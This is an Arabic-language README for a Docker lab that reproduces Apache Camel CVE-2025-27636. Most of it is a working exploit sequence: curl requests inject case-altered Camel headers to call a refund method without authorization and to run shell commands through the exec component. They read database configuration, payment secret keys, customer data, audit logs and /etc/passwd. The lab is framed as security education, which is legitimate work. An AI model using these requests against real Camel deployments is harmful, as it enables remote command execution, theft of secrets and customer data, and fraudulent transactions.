
يُوضح ثغرة Apache Camel CVE-2025-27636 مع إعادة إنتاج قائمة على Docker لهجمات حقن الترويسات، بما في ذلك حقن طرق الـ Bean وتنفيذ الأوامر لأغراض البحث والتعليم الأمني.
يعرض هذا المشروع ثغرات أمنية في Apache Camel تتعلق بهجمات حقن الترويسات (Header Injection).
قم ببناء صورة Docker:
docker build -t camel-cve-demo .
قم بتشغيل الحاوية مع جميع المنافذ اللازمة:
docker run -d `
--name camel-cve-demo `
-p 8080:8080 `
-p 8081:8081 `
-p 8484:8484 `
-v ${PWD}/logs:/app/logs `
-e JAVA_OPTS="-Xmx512m -Xms256m" `
camel-cve-demo
استغلال نقطة النهاية الضعيفة عن طريق حقن أسماء الطرق:
# هجوم ناجح - ترويسة حساسة لحالة الأحرف
curl.exe -X POST "http://localhost:8081/api/payment/callback" -H "cAmelBeanMethodName: processRefund" -d "order_id=ORD999&amount=9999.99"
# بديل - حقن عبر معامل الاستعلام
curl.exe "http://localhost:8081/api/payment/callback?cAmelBeanMethodName=processRefund" -X POST -d "order_id=ORD999&amount=9999.99"
مقارنة (يجب أن تفشل هذه):
# حالة أحرف خاطئة - يجب ألا تعمل
curl.exe -X POST "http://localhost:8081/api/payment/callback" -H "camelbeanmethodname: processRefund" -d "order_id=ORD999&amount=9999.99"
curl.exe -X POST "http://localhost:8081/api/payment/callback" -H "CamelBeanMethodName: processRefund" -d "order_id=ORD999&amount=9999.99"
استغلال مكوّن exec لتنفيذ أوامر عشوائية:
الاستطلاع:
# التحقق من الدليل الحالي
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: /bin/sh" -H "cAmelExecCommandArgs: -c pwd"
# سرد دليل الإعدادات
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: /bin/sh" -H "cAmelExecCommandArgs: -c ls -la /app/config/"
# البحث عن ملفات الإعدادات
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: /bin/sh" -H "cAmelExecCommandArgs: -c find / -name database.conf 2>/dev/null"
سرقة البيانات:
# قراءة إعدادات قاعدة البيانات
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs: /etc/app/config/database.conf"
# قراءة أسرار الدفع
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs: /app/secrets/payment.key"
# قراءة بيانات العملاء
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs:/var/data/customers/customers.csv"
# قراءة سجلات التدقيق
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs:/var/log/audit/audit.log"
# قراءة مستخدمي النظام
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs:/etc/passwd"
# سرد العمليات
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: ps" -H "cAmelExecCommandArgs:aux"
تحقق من سجلات الهجوم داخل الحاوية:
# عرض محاولات الاسترداد غير المصرح بها
docker exec camel-cve-demo cat /tmp/unauthorized_refund.txt